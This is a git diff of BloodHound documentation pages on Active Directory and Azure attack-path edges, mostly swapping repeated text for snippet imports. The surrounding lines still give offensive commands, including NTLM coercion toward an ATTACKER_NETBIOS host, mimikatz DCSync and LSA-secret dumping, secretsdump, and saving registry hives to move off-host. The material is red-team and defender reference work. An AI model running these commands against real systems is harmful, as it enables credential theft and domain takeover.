+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureGenericAbuseLogOpsec from '/snippets/edges/azure-generic-abuse-log-opsec.mdx';
+
+
## Abuse Info
@@ -12,4 +15,4 @@ This edge should be taken into consideration when abusing control of an app. App
## Opsec Considerations
-This will depend on which particular abuse you perform, but in general Azure will create a log event for each abuse.
+
diff --git a/docs/resources/edges/az-scoped-to.mdx b/docs/resources/edges/az-scoped-to.mdx
index 18178138..70b718e7 100644
--- a/docs/resources/edges/az-scoped-to.mdx
+++ b/docs/resources/edges/az-scoped-to.mdx
@@ -3,7 +3,10 @@ title: AZScopedTo
description: "Is used to distinguish whether an EntraID (AzureAD) admin role such as Application Administrator or Cloud Application Administrator is scoped to the tenant or to a particular app registration or service principal."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureGenericAbuseLogOpsec from '/snippets/edges/azure-generic-abuse-log-opsec.mdx';
+
+
## Abuse Info
@@ -12,4 +15,4 @@ When a principal has such a role scoped to the tenant, they gain control of all
## Opsec Considerations
-This will depend on which particular abuse you perform, but in general Azure will create a log event for each abuse.
+
diff --git a/docs/resources/edges/az-user-access-administrator.mdx b/docs/resources/edges/az-user-access-administrator.mdx
index 943e7ba0..ba41be1c 100644
--- a/docs/resources/edges/az-user-access-administrator.mdx
+++ b/docs/resources/edges/az-user-access-administrator.mdx
@@ -3,7 +3,9 @@ title: AZUserAccessAdministrator
description: "The User Access Admin role can edit roles against many other objects."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
diff --git a/docs/resources/edges/az-vm-admin-login.mdx b/docs/resources/edges/az-vm-admin-login.mdx
index 0fb892c3..981f85e4 100644
--- a/docs/resources/edges/az-vm-admin-login.mdx
+++ b/docs/resources/edges/az-vm-admin-login.mdx
@@ -3,7 +3,9 @@ title: AZVMAdminLogin
description: "When a virtual machine is configured to allow logon with Azure credentials, the VM automatically has certain principals added to its local administrators group, including any principal granted the Virtual Machine Administrator Login (or “VMAL”) admin role."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
Any principal granted this role, scoped to the affected VM, can connect to the VM via RDP and will be granted local admin rights on the VM.
diff --git a/docs/resources/edges/az-vm-contributor.mdx b/docs/resources/edges/az-vm-contributor.mdx
index bb49ae7f..659d087c 100644
--- a/docs/resources/edges/az-vm-contributor.mdx
+++ b/docs/resources/edges/az-vm-contributor.mdx
@@ -3,7 +3,9 @@ title: AZVMContributor
description: "The Virtual Machine contributor role grants almost all abusable privileges against Virtual Machines."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/az-website-contributor.mdx b/docs/resources/edges/az-website-contributor.mdx
index ecc2d0c7..25657361 100644
--- a/docs/resources/edges/az-website-contributor.mdx
+++ b/docs/resources/edges/az-website-contributor.mdx
@@ -3,7 +3,10 @@ title: AZWebsiteContributor
description: "The Website Contributor role grants full control of the target Function App or Web App. Full control of either of those types of resources allows for arbitrary command execution against the target resoruce."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AzureGenericAbuseLogOpsec from '/snippets/edges/azure-generic-abuse-log-opsec.mdx';
+
+
@@ -48,7 +51,7 @@ If successful, the output will include a JWT for the managed identity service pr
## Opsec Considerations
-This will depend on which particular abuse you perform, but in general Azure will create a log event for each abuse.
+
## References
diff --git a/docs/resources/edges/can-ps-remote.mdx b/docs/resources/edges/can-ps-remote.mdx
index 918b61d9..8a3462b1 100644
--- a/docs/resources/edges/can-ps-remote.mdx
+++ b/docs/resources/edges/can-ps-remote.mdx
@@ -3,7 +3,9 @@ title: CanPSRemote
description: "PS Session access allows you to enter an interactive session with the target computer. If authenticating as a low privilege user, a privilege escalation may allow you to gain high privileges on the system."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
diff --git a/docs/resources/edges/can-rdp.mdx b/docs/resources/edges/can-rdp.mdx
index ae60c885..b52ed364 100644
--- a/docs/resources/edges/can-rdp.mdx
+++ b/docs/resources/edges/can-rdp.mdx
@@ -3,7 +3,9 @@ title: CanRDP
description: "Remote Desktop access allows you to enter an interactive session with the target computer. If authenticating as a low privilege user, a privilege escalation may allow you to gain high privileges on the system."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
This edge will be created under the condition that the user both has membership in Remote Desktop Users and is granted the URA SeRemoteInteractiveLogonRight. Respectively these two are visualized in BloodHound by the edges [MemberOfLocalGroup](/resources/edges/member-of-local-group) and [RemoteInteractiveLogonRight](/resources/edges/remote-interactive-logon-right).
@@ -71,4 +73,4 @@ Traversable: **Yes**
* [https://edermi.github.io/post/2018/native\_rdp\_pass\_the_hash/](https://edermi.github.io/post/2018/native_rdp_pass_the_hash/)
* [https://www.kali.org/blog/passing-hash-remote-desktop/](https://www.kali.org/blog/passing-hash-remote-desktop/)
* [https://blog.cptjesus.com/posts/userrightsassignment/](https://blog.cptjesus.com/posts/userrightsassignment/)
-* [https://specterops.io/blog/2018/08/07/bloodhound-2-0/](https://specterops.io/blog/2018/08/07/bloodhound-2-0/)
\ No newline at end of file
+* [https://specterops.io/blog/2018/08/07/bloodhound-2-0/](https://specterops.io/blog/2018/08/07/bloodhound-2-0/)
diff --git a/docs/resources/edges/claim-special-identity.mdx b/docs/resources/edges/claim-special-identity.mdx
index e100acd4..f44f1611 100644
--- a/docs/resources/edges/claim-special-identity.mdx
+++ b/docs/resources/edges/claim-special-identity.mdx
@@ -3,7 +3,9 @@ title: ClaimSpecialIdentity
description: "The ClaimSpecialIdentity edge represents the ability to obtain an access token containing a special identity (group) SID."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
The ClaimSpecialIdentity edge represents the ability to obtain an access token containing a special identity (group) SID. Unlike regular groups, membership in special identities is determined at authentication rather than by an explicit member list.
@@ -41,7 +43,7 @@ See the Abuse section for specific cases.
* Assigned to all accounts within the same Active Directory forest and trusted forests without selective authentication.
**This Organization Certificate Identity (S-1-5-65-1)**
-* Assigned to all accounts within the same Active Directory forest and trusted forests without selective authentication, when the Kerberos PAC contains an NTLM_SUPPLEMENTAL_CREDENTIAL structure.
+* Assigned to all accounts within the same Active Directory forest and trusted forests without selective authentication, when the Kerberos PAC contains an `NTLM_SUPPLEMENTAL_CREDENTIAL` structure.
* Authentication using an ADCS certificate ensures the required PAC structure.
## OPSEC Considerations
@@ -58,4 +60,4 @@ Traversable: **Yes**
* [Microsoft: Special identity groups](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-special-identities-groups)
* [Microsoft: Guest account](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-default-user-accounts#guest-account)
-* [Good Fences Make Good Neighbors: New AD Trusts Attack Paths in BloodHound](https://specterops.io/blog/2025/06/25/good-fences-make-good-neighbors-new-ad-trusts-attack-paths-in-bloodhound/)
\ No newline at end of file
+* [Good Fences Make Good Neighbors: New AD Trusts Attack Paths in BloodHound](https://specterops.io/blog/2025/06/25/good-fences-make-good-neighbors-new-ad-trusts-attack-paths-in-bloodhound/)
diff --git a/docs/resources/edges/coerce-and-relay-ntlm-to-adcs.mdx b/docs/resources/edges/coerce-and-relay-ntlm-to-adcs.mdx
index ae9c352a..5fff09c2 100644
--- a/docs/resources/edges/coerce-and-relay-ntlm-to-adcs.mdx
+++ b/docs/resources/edges/coerce-and-relay-ntlm-to-adcs.mdx
@@ -3,13 +3,19 @@ title: CoerceAndRelayNTLMToADCS
description: The target computer can be coerced to authenticate via NTLM to an ADCS server, allowing an attacker to obtain a certificate for domain authentication.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import NtlmRelayGuidance from '/snippets/edges/ntlm-relay-guidance.mdx';
+import NtlmCoercionMethods from '/snippets/edges/ntlm-coercion-methods.mdx';
+import NtlmWebclientCoercionNote from '/snippets/edges/ntlm-webclient-coercion-note.mdx';
+import NtlmInveighRelay from '/snippets/edges/ntlm-inveigh-relay.mdx';
+
+
This edge indicates that an attacker with "Authenticated Users" access can trigger SMB-based coercion from the target computer to their attacker-controlled host via NTLM. The authentication attempt from the target computer can then be relayed to an ESC8-vulnerable web enrollment endpoint of an Active Directory Certificate Services (ADCS) enterprise CA server. This allows the attacker to obtain a certificate enabling domain authentication as the target computer.
## Abuse Info
-This section provides general guidance about abusing this edge. For detailed instructions, see [references](#references) at the end of this article.
+
### Linux
@@ -23,31 +29,31 @@ This section provides general guidance about abusing this edge. For detailed ins
1. **Coerce the Target Computer**
- Several coercion methods are documented here: [Windows Coerced Authentication Methods](https://github.com/p0dalirius/windows-coerced-authentication-methods).
+
Examples of tools include:
- [printerbug.py](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)
- [PetitPotam](https://github.com/topotam/PetitPotam)
- To trigger WebClient coercion (instead of regular SMB coercion), the listener must use a WebDAV Connection String format: `\\SERVER_NETBIOS@PORT/PATH/TO/FILE`.
+
### Windows
1. **Start the Relay Server**
- The NTLM relay can be executed with [Inveigh](https://github.com/Kevin-Robertson/Inveigh).
+
1. **Coerce the Target Computer**
- Several coercion methods are documented here: [Windows Coerced Authentication Methods](https://github.com/p0dalirius/windows-coerced-authentication-methods).
+
Examples of tools include:
- [SpoolSample](https://github.com/leechristensen/SpoolSample)
- [PetitPotam](https://github.com/topotam/PetitPotam)
- To trigger WebClient coercion (instead of regular SMB coercion), the listener must use a WebDAV Connection String format: `\\SERVER_NETBIOS@PORT/PATH/TO/FILE`.
+
```ps
SpoolSample.exe "VICTIM_IP" "ATTACKER_NETBIOS@PORT/file.txt"
diff --git a/docs/resources/edges/coerce-and-relay-ntlm-to-ldap.mdx b/docs/resources/edges/coerce-and-relay-ntlm-to-ldap.mdx
index af6adeee..9e8eb917 100644
--- a/docs/resources/edges/coerce-and-relay-ntlm-to-ldap.mdx
+++ b/docs/resources/edges/coerce-and-relay-ntlm-to-ldap.mdx
@@ -3,13 +3,20 @@ title: CoerceAndRelayNTLMToLDAP
description: The target computer can be coerced to authenticate via NTLM to an LDAP service on a domain controller that does not require LDAP signing, allowing an attacker to abuse Active Directory permissions or obtain administrative access to the target computer.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import NtlmRelayGuidance from '/snippets/edges/ntlm-relay-guidance.mdx';
+import NtlmCoercionMethods from '/snippets/edges/ntlm-coercion-methods.mdx';
+import NtlmWebclientCoercionNote from '/snippets/edges/ntlm-webclient-coercion-note.mdx';
+import NtlmInveighRelay from '/snippets/edges/ntlm-inveigh-relay.mdx';
+import NtlmRelayDetection from '/snippets/edges/ntlm-relay-detection.mdx';
+
+
This edge indicates that the target computer has the WebClient service running. This enables an attacker with "Authenticated Users" access to trigger WebClient-based coercion from the target computer to their attacker-controlled host via NTLM. Since the connection originates from the WebClient instead of SMB, the attacker can relay the authentication attempt to the LDAP service of a domain controller that does not require LDAP signing. This relay can be used to abuse Active Directory permissions or obtain administrative access to the target computer using Resource-Based Constrained Delegation (RBCD) or Shadow Credentials.
## Abuse Info
-This section provides general guidance about abusing this edge. For detailed instructions, see [references](#references) at the end of this article.
+
### Linux
@@ -23,14 +30,14 @@ This section provides general guidance about abusing this edge. For detailed ins
1. **Coerce the Target Computer**
- Several coercion methods are documented here: [Windows Coerced Authentication Methods](https://github.com/p0dalirius/windows-coerced-authentication-methods).
+
Examples of tools include:
- [printerbug.py](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)
- [PetitPotam](https://github.com/topotam/PetitPotam)
- To trigger WebClient coercion (instead of regular SMB coercion), the listener must use a WebDAV Connection String format: `\\SERVER_NETBIOS@PORT/PATH/TO/FILE`.
+
```bash
petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS@PORT/file.txt" "VICTIM_IP"
@@ -40,11 +47,13 @@ This section provides general guidance about abusing this edge. For detailed ins
1. **Start the Relay Server**
- The NTLM relay can be executed with [Inveigh](https://github.com/Kevin-Robertson/Inveigh).
+
1. **Coerce the Target Computer**
- Several coercion methods are documented here: [Windows Coerced Authentication Methods](https://github.com/p0dalirius/windows-coerced-authentication-methods). Examples of tools include:
+
+
+ Examples of tools include:
- [SpoolSample](https://github.com/leechristensen/SpoolSample)
- [PetitPotam](https://github.com/topotam/PetitPotam)
@@ -59,7 +68,7 @@ This section provides general guidance about abusing this edge. For detailed ins
## Opsec Considerations
-NTLM relayed authentications can be detected by login events where the IP address does not match the computer's actual IP address. This detection technique is described in the blog post: [Detecting NTLM Relay Attacks](https://posts.bluraven.io/detecting-ntlm-relay-attacks-d92e99e68fb9).
+
## Edge Schema
diff --git a/docs/resources/edges/coerce-and-relay-ntlm-to-ldaps.mdx b/docs/resources/edges/coerce-and-relay-ntlm-to-ldaps.mdx
index 816df2e4..8b987a14 100644
--- a/docs/resources/edges/coerce-and-relay-ntlm-to-ldaps.mdx
+++ b/docs/resources/edges/coerce-and-relay-ntlm-to-ldaps.mdx
@@ -3,13 +3,20 @@ title: CoerceAndRelayNTLMToLDAPS
description: The target computer can be coerced to authenticate via NTLM to an LDAPS service on a domain controller that does not require LDAPS channel binding, allowing an attacker to abuse Active Directory permissions or obtain administrative access to the target computer.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import NtlmRelayGuidance from '/snippets/edges/ntlm-relay-guidance.mdx';
+import NtlmCoercionMethods from '/snippets/edges/ntlm-coercion-methods.mdx';
+import NtlmWebclientCoercionNote from '/snippets/edges/ntlm-webclient-coercion-note.mdx';
+import NtlmInveighRelay from '/snippets/edges/ntlm-inveigh-relay.mdx';
+import NtlmRelayDetection from '/snippets/edges/ntlm-relay-detection.mdx';
+
+
This edge indicates that the target computer has the WebClient service running. This enables an attacker with "Authenticated Users" access to trigger WebClient-based coercion from the target computer to their attacker-controlled host via NTLM. Since the connection originates from the WebClient instead of SMB, the attacker can relay the authentication attempt to LDAPS of a domain controller that does not require LDAPS channel binding. This relay can be used to abuse Active Directory permissions or obtain administrative access to the target computer using Resource-Based Constrained Delegation (RBCD) or Shadow Credentials.
## Abuse Info
-This section provides general guidance about abusing this edge. For detailed instructions, see [references](#references) at the end of this article.
+
### Linux
@@ -23,14 +30,14 @@ This section provides general guidance about abusing this edge. For detailed ins
1. **Coerce the Target Computer**
- Several coercion methods are documented here: [Windows Coerced Authentication Methods](https://github.com/p0dalirius/windows-coerced-authentication-methods).
+
Examples of tools include:
- [printerbug.py](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py)
- [PetitPotam](https://github.com/topotam/PetitPotam)
- To trigger WebClient coercion (instead of regular SMB coercion), the listener must use a WebDAV Connection String format: `\\SERVER_NETBIOS@PORT/PATH/TO/FILE`.
+
```bash
petitpotam.py -d "DOMAIN" -u "USER" -p "PASSWORD" "ATTACKER_NETBIOS@PORT/file.txt" "VICTIM_IP"
@@ -40,18 +47,18 @@ This section provides general guidance about abusing this edge. For detailed ins
1. **Start the Relay Server**
- The NTLM relay can be executed with [Inveigh](https://github.com/Kevin-Robertson/Inveigh).
+
1. **Coerce the Target Computer**
- Several coercion methods are documented here: [Windows Coerced Authentication Methods](https://github.com/p0dalirius/windows-coerced-authentication-methods).
+
Examples of tools include:
- [SpoolSample](https://github.com/leechristensen/SpoolSample)
- [PetitPotam](https://github.com/topotam/PetitPotam)
- To trigger WebClient coercion (instead of regular SMB coercion), the listener must use a WebDAV Connection String format: `\\SERVER_NETBIOS@PORT/PATH/TO/FILE`.
+
```ps
SpoolSample.exe "VICTIM_IP" "ATTACKER_NETBIOS@PORT/file.txt"
@@ -59,7 +66,7 @@ This section provides general guidance about abusing this edge. For detailed ins
## Opsec Considerations
-NTLM relayed authentications can be detected by login events where the IP address does not match the computer's actual IP address. This detection technique is described in the blog post: [Detecting NTLM Relay Attacks](https://posts.bluraven.io/detecting-ntlm-relay-attacks-d92e99e68fb9).
+
## Edge Schema
diff --git a/docs/resources/edges/coerce-and-relay-ntlm-to-smb.mdx b/docs/resources/edges/coerce-and-relay-ntlm-to-smb.mdx
index 2df165e4..a8b845ea 100644
--- a/docs/resources/edges/coerce-and-relay-ntlm-to-smb.mdx
+++ b/docs/resources/edges/coerce-and-relay-ntlm-to-smb.mdx
@@ -3,13 +3,19 @@ title: CoerceAndRelayNTLMToSMB
description: An attacker can coerce a computer to authenticate via NTLM to an SMB service on a target computer that does not enforce SMB signing, allowing the attacker to gain administrative access to the target computer.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import NtlmRelayGuidance from '/snippets/edges/ntlm-relay-guidance.mdx';
+import NtlmCoercionMethods from '/snippets/edges/ntlm-coercion-methods.mdx';
+import NtlmInveighRelay from '/snippets/edges/ntlm-inveigh-relay.mdx';
+import NtlmRelayDetection from '/snippets/edges/ntlm-relay-detection.mdx';
+
+
This edge indicates that an attacker with "Authenticated Users" access can compromise the target computer by relaying the NTLM authentication of a victim computer with administrative rights on the target computer. The attack is possible because the attacker can trigger SMB-based coercion from the victim computer to their attacker-controlled host, and the target computer does not enforce SMB signing.
## Abuse Info
-This section provides general guidance about abusing this edge. For detailed instructions, see [references](#references) at the end of this article.
+
### Linux
@@ -19,7 +25,7 @@ This section provides general guidance about abusing this edge. For detailed ins
1. **Coerce the Target Computer**
- Several coercion methods are documented here: [Windows Coerced Authentication Methods](https://github.com/p0dalirius/windows-coerced-authentication-methods).
+
Examples of tools include:
@@ -34,11 +40,11 @@ This section provides general guidance about abusing this edge. For detailed ins
1. **Start the Relay Server**
- The NTLM relay can be executed with [Inveigh](https://github.com/Kevin-Robertson/Inveigh).
+
1. **Coerce the Target Computer**
- Several coercion methods are documented here: [Windows Coerced Authentication Methods](https://github.com/p0dalirius/windows-coerced-authentication-methods).
+
Examples of tools include:
@@ -47,7 +53,7 @@ This section provides general guidance about abusing this edge. For detailed ins
## Opsec Considerations
-NTLM relayed authentications can be detected by login events where the IP address does not match the computer's actual IP address. This detection technique is described in the blog post: [Detecting NTLM Relay Attacks](https://posts.bluraven.io/detecting-ntlm-relay-attacks-d92e99e68fb9).
+
## Edge Schema
diff --git a/docs/resources/edges/coerce-to-tgt.mdx b/docs/resources/edges/coerce-to-tgt.mdx
index 599b78f7..fdbad666 100644
--- a/docs/resources/edges/coerce-to-tgt.mdx
+++ b/docs/resources/edges/coerce-to-tgt.mdx
@@ -3,13 +3,15 @@ title: CoerceToTGT
description: "The computer/user account is configured with Kerberos unconstrained delegation."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
In a standard Kerberos authentication process, when a principal accesses a Kerberos-enabled service, they present a service ticket to the service host (a computer or service account). This ticket cannot be used to authenticate against other services. However, if a computer or service account is trusted for unconstrained delegation, the principal sends their full Kerberos Ticket Granting Ticket (TGT). This TGT can be forwarded, allowing the service host to impersonate the principal across other services within the environment.
-An attacker can coerce a Tier Zero computer (e.g. DC) to authenticate against the account and obtain the target's TGT. With the TGT of a DC, the attacker can perform DCSync to compromise the domain. Alternatively, the TGT can be used to obtain admin access to the target host with a shadow credentials + silver ticket attack or a resource-based constrained delegation attack.
+An attacker can coerce a Tier Zero computer (e.g. DC) to authenticate against the account and obtain the target's TGT. With the TGT of a DC, the attacker can perform [DCSync](/resources/edges/dc-sync) to compromise the domain. Alternatively, the TGT can be used to obtain admin access to the target host with a shadow credentials + silver ticket attack or a resource-based constrained delegation attack.
Accounts marked as sensitive or belonging to the Protected Users group are protected against the attacks as they will not send their TGTs to accounts with unconstrained delegation enabled.
@@ -89,18 +91,18 @@ Set the KRB5CCNAME environment variable to the ticket's path:
export KRB5CCNAME=$path_to_ticket.ccache
```
-**Step 4: DCSync target domain**
+**Step 4: [DCSync](/resources/edges/dc-sync) target domain**
Windows:
-Use mimikatz to DCSync the domain from the computer where the DC TGT was injected:
+Use mimikatz to [DCSync](/resources/edges/dc-sync) the domain from the computer where the DC TGT was injected:
```bash
lsadump::dcsync /domain: /user:
```
Linux:
-Use secretsdump.py to DCSync the target domain:
+Use secretsdump.py to [DCSync](/resources/edges/dc-sync) the target domain:
```bash
secretsdump.py -k -just-dc-user
diff --git a/docs/resources/edges/contains.mdx b/docs/resources/edges/contains.mdx
index 17ef8944..08821772 100644
--- a/docs/resources/edges/contains.mdx
+++ b/docs/resources/edges/contains.mdx
@@ -3,11 +3,13 @@ title: Contains
description: "GPOs linked to a container apply to all objects that are contained by the container. Additionally, ACEs set on a parent OU may inherit down to child objects."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
-Permissions on the parent of a child object may enable compromise of the child object through inherited ACEs or linked GPOs.
+Permissions on the parent of a child object may enable compromise of the child object through inherited ACEs or linked [GPOs](/resources/nodes/gpo).
See the inbound edges on the parent object for details.
diff --git a/docs/resources/edges/cross-forest-trust.mdx b/docs/resources/edges/cross-forest-trust.mdx
index c36689dc..6da19c3f 100644
--- a/docs/resources/edges/cross-forest-trust.mdx
+++ b/docs/resources/edges/cross-forest-trust.mdx
@@ -3,7 +3,9 @@ title: CrossForestTrust
description: The CrossForestTrust edge represents a trust relationship between two domains/forests. In this relationship, the source node domain has a cross-forest (interforest) trust to the destination node domain, allowing principals (users and computers) from the destination domain to access resources in the source domain.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
diff --git a/docs/resources/edges/dc-for.mdx b/docs/resources/edges/dc-for.mdx
index 6b26da0a..894add71 100644
--- a/docs/resources/edges/dc-for.mdx
+++ b/docs/resources/edges/dc-for.mdx
@@ -3,7 +3,9 @@ title: DCFor
description: "This edge indicates that the computer is a domain controller for the domain. This edge is not created for read-only domain controllers."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
diff --git a/docs/resources/edges/dc-sync.mdx b/docs/resources/edges/dc-sync.mdx
index 4670d969..3611f471 100644
--- a/docs/resources/edges/dc-sync.mdx
+++ b/docs/resources/edges/dc-sync.mdx
@@ -3,12 +3,14 @@ title: DCSync
description: "This edge represents the combination of GetChanges and GetChangesAll. The combination of both these privileges grants a principal the ability to perform the DCSync attack."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Abuse Info
-With both GetChanges and GetChangesAll privileges in BloodHound, you may perform a dcsync attack to get the password hash of an arbitrary principal using mimikatz:
+With both [GetChanges](/resources/edges/get-changes) and [GetChangesAll](/resources/edges/get-changes-all) privileges in BloodHound, you may perform a dcsync attack to get the password hash of an arbitrary principal using mimikatz:
lsadump::dcsync /domain:testlab.local /user:Administrator
@@ -28,4 +30,4 @@ Traversable: **Yes**
* [https://adsecurity.org/?p=1729](https://adsecurity.org/?p=1729)
* [https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/](https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/)
-* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
\ No newline at end of file
+* [https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/](https://specterops.io/blog/2022/08/03/introducing-bloodhound-4-2-the-azure-refactor/)
diff --git a/docs/resources/edges/delegated-enrollment-agent.mdx b/docs/resources/edges/delegated-enrollment-agent.mdx
index 3375062f..e174c63a 100644
--- a/docs/resources/edges/delegated-enrollment-agent.mdx
+++ b/docs/resources/edges/delegated-enrollment-agent.mdx
@@ -3,7 +3,10 @@ title: DelegatedEnrollmentAgent
description: "The source principal node is delegated the privilege to enroll certificates of the destination certificate template node as an enrollment agent."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsRelationshipCertificateIssuanceOpsec from '/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx';
+
+
The certificate template is published to an enterprise CA where the enrollment agent restrictions are configured to allow this principal to enroll certificates against this template as an enrollment agent. BloodHound does not assess what principals the enrollment agent is allowed to enroll on behalf of.
@@ -14,7 +17,7 @@ An attacker may perform an ADCS ESC3 attack that relies on this DelegatedEnrollm
## Opsec Considerations
-When an attacker abuses a privilege escalation or impersonation primitive that relies on this relationship, it will necessarily result in the issuance of a certificate. A copy of the issued certificate will be saved on the host that issued the certificate.
+
## Edge Schema
diff --git a/docs/resources/edges/dump-smsa-password.mdx b/docs/resources/edges/dump-smsa-password.mdx
index 07db2500..a0d903b5 100644
--- a/docs/resources/edges/dump-smsa-password.mdx
+++ b/docs/resources/edges/dump-smsa-password.mdx
@@ -3,7 +3,9 @@ title: DumpSMSAPassword
description: "A computer with this indicates that a Standalone Managed Service Account (sMSA) is installed on it."
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
An actor with administrative privileges on the computer can retrieve the sMSA’s password by dumping LSA secrets.
@@ -18,7 +20,7 @@ token::elevate
lsadump::secrets
```
-In the output, find _\_SC\_\{262E99C9-6160-4871-ACEC-4E61736B6F21}__ suffixed by the name of the targeted sMSA. The next line contains _cur/hex :_ followed with the sMSA’s password hex-encoded.
+In the output, find `_SC_{262E99C9-6160-4871-ACEC-4E61736B6F21}__` suffixed by the name of the targeted sMSA. The next line contains `cur/hex :` followed with the sMSA’s password hex-encoded.
To use this password, its NT hash must be calculated. This can be done using a small python script:
@@ -41,14 +43,14 @@ python3 nt.py 35f3e1713d61...
To authenticate as the sMSA, leverage pass-the-hash.
-Alternatively, to avoid executing mimikatz on the host, you can save a copy of the _SYSTEM_ and _SECURITY_ registry hives from an elevated prompt:
+Alternatively, to avoid executing mimikatz on the host, you can save a copy of the `SYSTEM` and `SECURITY` registry hives from an elevated prompt:
```bash
reg save HKLM\SYSTEM %temp%\SYSTEM & reg save HKLM\SECURITY %temp%\SECURITY
```
-Transfer the files named _SYSTEM_ and _SECURITY_ that were saved at _%temp%_ to another computer where mimikatz can be safely executed.
+Transfer the files named `SYSTEM` and `SECURITY` that were saved at `%temp%` to another computer where mimikatz can be safely executed.
On this other computer, run mimikatz from a command prompt then execute the following command to obtain the hex-encoded password:
diff --git a/docs/resources/edges/enroll-on-behalf-of.mdx b/docs/resources/edges/enroll-on-behalf-of.mdx
index 316e186b..f408ee03 100644
--- a/docs/resources/edges/enroll-on-behalf-of.mdx
+++ b/docs/resources/edges/enroll-on-behalf-of.mdx
@@ -3,7 +3,10 @@ title: EnrollOnBehalfOf
description: 'The certificate template "A" is configured to be used as an enrollment agent.'
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsRelationshipCertificateIssuanceOpsec from '/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx';
+
+
The certificate template "B" is configured to allow enrollment by enrollment agents. Both certificate templates are published by an enterprise CA which is trusted for NT authentication and chain up to a root CA for the domain. This enables a principal with a certificate of certificate template "A" to enroll on behalf of other principals for certificate template "B" as long as enrollment agent restrictions configured on the enterprise CA permit it.
@@ -13,7 +16,7 @@ An attacker may perform an ADCS ESC3 attack that relies on this EnrollOnBehalfOf
## Opsec Considerations
-When an attacker abuses a privilege escalation or impersonation primitive that relies on this relationship, it will necessarily result in the issuance of a certificate. A copy of the issued certificate will be saved on the host that issued the certificate.
+
## Edge Schema
diff --git a/docs/resources/edges/enroll.mdx b/docs/resources/edges/enroll.mdx
index 05cf1d9f..9a355b4e 100644
--- a/docs/resources/edges/enroll.mdx
+++ b/docs/resources/edges/enroll.mdx
@@ -2,7 +2,11 @@
title: Enroll
description: "The target node may be a Certificate Template or an Enterprise Certification Authority."
---
-
+
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsRelationshipCertificateIssuanceOpsec from '/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx';
+
+
## Abuse Info
@@ -29,7 +33,7 @@ certipy req -u USER@CORP.LOCAL -p PWD -ca CA-NAME -target SERVER -template TEMPL
## Opsec Considerations
-When an attacker abuses a privilege escalation or impersonation primitive that relies on this relationship, it will necessarily result in the issuance of a certificate. A copy of the issued certificate will be saved on the host that issued the certificate.
+
## Edge Schema
diff --git a/docs/resources/edges/enterprise-ca-for.mdx b/docs/resources/edges/enterprise-ca-for.mdx
index 91ed8b6e..4b6d46ea 100644
--- a/docs/resources/edges/enterprise-ca-for.mdx
+++ b/docs/resources/edges/enterprise-ca-for.mdx
@@ -3,7 +3,10 @@ title: EnterpriseCAFor
description: The Enterprise Certification Authority node is the enrollment service LDAP object for the target Root Certification Authority node.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+import AdcsRelationshipCertificateIssuanceOpsec from '/snippets/edges/adcs-relationship-certificate-issuance-opsec.mdx';
+
+
## Abuse Info
@@ -12,7 +15,7 @@ An attacker may perform several attacks that rely on this relationship. This rel
## Opsec Considerations
-When an attacker abuses a privilege escalation or impersonation primitive that relies on this relationship, it will necessarily result in the issuance of a certificate. A copy of the issued certificate will be saved on the host that issued the certificate.
+
## Edge Schema
diff --git a/docs/resources/edges/execute-dcom.mdx b/docs/resources/edges/execute-dcom.mdx
index 82b13f68..9f7c2286 100644
--- a/docs/resources/edges/execute-dcom.mdx
+++ b/docs/resources/edges/execute-dcom.mdx
@@ -3,7 +3,9 @@ title: ExecuteDCOM
description: This can allow code execution under certain conditions by instantiating a COM object on a remote machine and invoking its methods.
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
diff --git a/docs/resources/edges/extended-by-policy.mdx b/docs/resources/edges/extended-by-policy.mdx
index dc9baf7f..00c7b5b3 100644
--- a/docs/resources/edges/extended-by-policy.mdx
+++ b/docs/resources/edges/extended-by-policy.mdx
@@ -3,7 +3,10 @@ title: ExtendedByPolicy
